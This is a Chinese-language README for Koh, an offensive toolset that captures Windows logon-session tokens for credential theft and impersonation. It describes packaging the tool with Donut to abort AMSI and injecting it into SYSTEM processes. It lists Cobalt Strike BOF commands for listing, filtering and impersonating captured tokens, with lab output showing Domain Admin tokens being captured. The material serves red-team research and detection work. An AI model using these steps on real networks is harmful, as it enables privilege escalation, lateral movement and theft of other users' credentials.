Koh 是一个 C# 和 Beacon 对象文件 (BOF) 工具集,通过有意泄露令牌/登录会话来捕获用户凭据材料。
部分代码灵感来源于 Elad Shamir 的 Internal-Monologue 项目(无许可证)以及 KB180548。关于为何可以实现以及 Koh 的方法,请参阅本文档的技术背景部分。
关于 Koh 背后的动机及其方法的更详细解释,请参阅 Koh: The Token Stealer 文章。
@harmj0y 是该代码库的主要作者。@tifkin_ 协助了方法、BOF 实现以及部分令牌机制。
Koh 根据 BSD 3-Clause 许可证授权。
Koh "服务器"捕获令牌并使用命名管道进行控制/通信。它可以打包在 Donut 中并注入到任何 高完整性 SYSTEM 进程中(请参阅内联诡计漏洞)。
我们不打算发布 Koh 的二进制文件,因此您需要自行编译 :)
Koh 已针对 .NET 4.7.2 构建,并与 Visual Studio 2019 社区版兼容。只需打开项目 .sln 文件,选择“Release”,然后生成即可。Koh.exe 程序集和 Koh.bin Donut 构建的 PIC 将输出到主目录。Donut blob 同时兼容 x86/x64,并使用位于 ./Misc/Donut.exe 的 Donut v0.9.3 以以下选项构建:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
Donut的许可证是BSD 3-clause。
### 用法
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - 列出(非网络)登录会话
* **monitor** - 监视新的/唯一的(非网络)登录会话
* **capture** - 捕获针对新(非网络)登录会话的每个SID的唯一令牌
也可以在命令行中提供组SID,使Koh仅监视/捕获其协商令牌信息中包含指定组SID的登录会话。
### 示例 - 列出登录会话```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
仅列出令牌信息中包含域管理员(-512)组 SID 的结果:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh 客户端
当前可用的客户端是位于 `.\Clients\BOF\` 的 Beacon Object File。在你的 Cobalt Strike 客户端中加载 `.\Clients\BOF\KohClient.cna` 攻击脚本,以启用对 Koh 服务器的 BOF 控制。使用捕获的令牌的唯一要求是 **SeImpersonatePrivilege**。通信命名管道的 DACL 为 "Everyone",但使用了一个基本的共享密码(超级安全)。
要在 Linux 上使用 Mingw 重新编译,请参阅 `.\Clients\BOF\build.sh` 脚本。(至少对于 Debian)唯一的要求是 `apt-get install gcc-mingw-w64`
### 使用方法```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
koh filter add S-1-5-21-<DOMAIN>-<RID> 命令将仅捕获包含指定组SID的令牌。此命令可以多次运行以添加更多要捕获的SID。这有助于防止由于大量令牌泄露而可能导致的稳定性问题。
通过为每个新会话协商可用的令牌来“捕获”登录会话。
服务器:``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)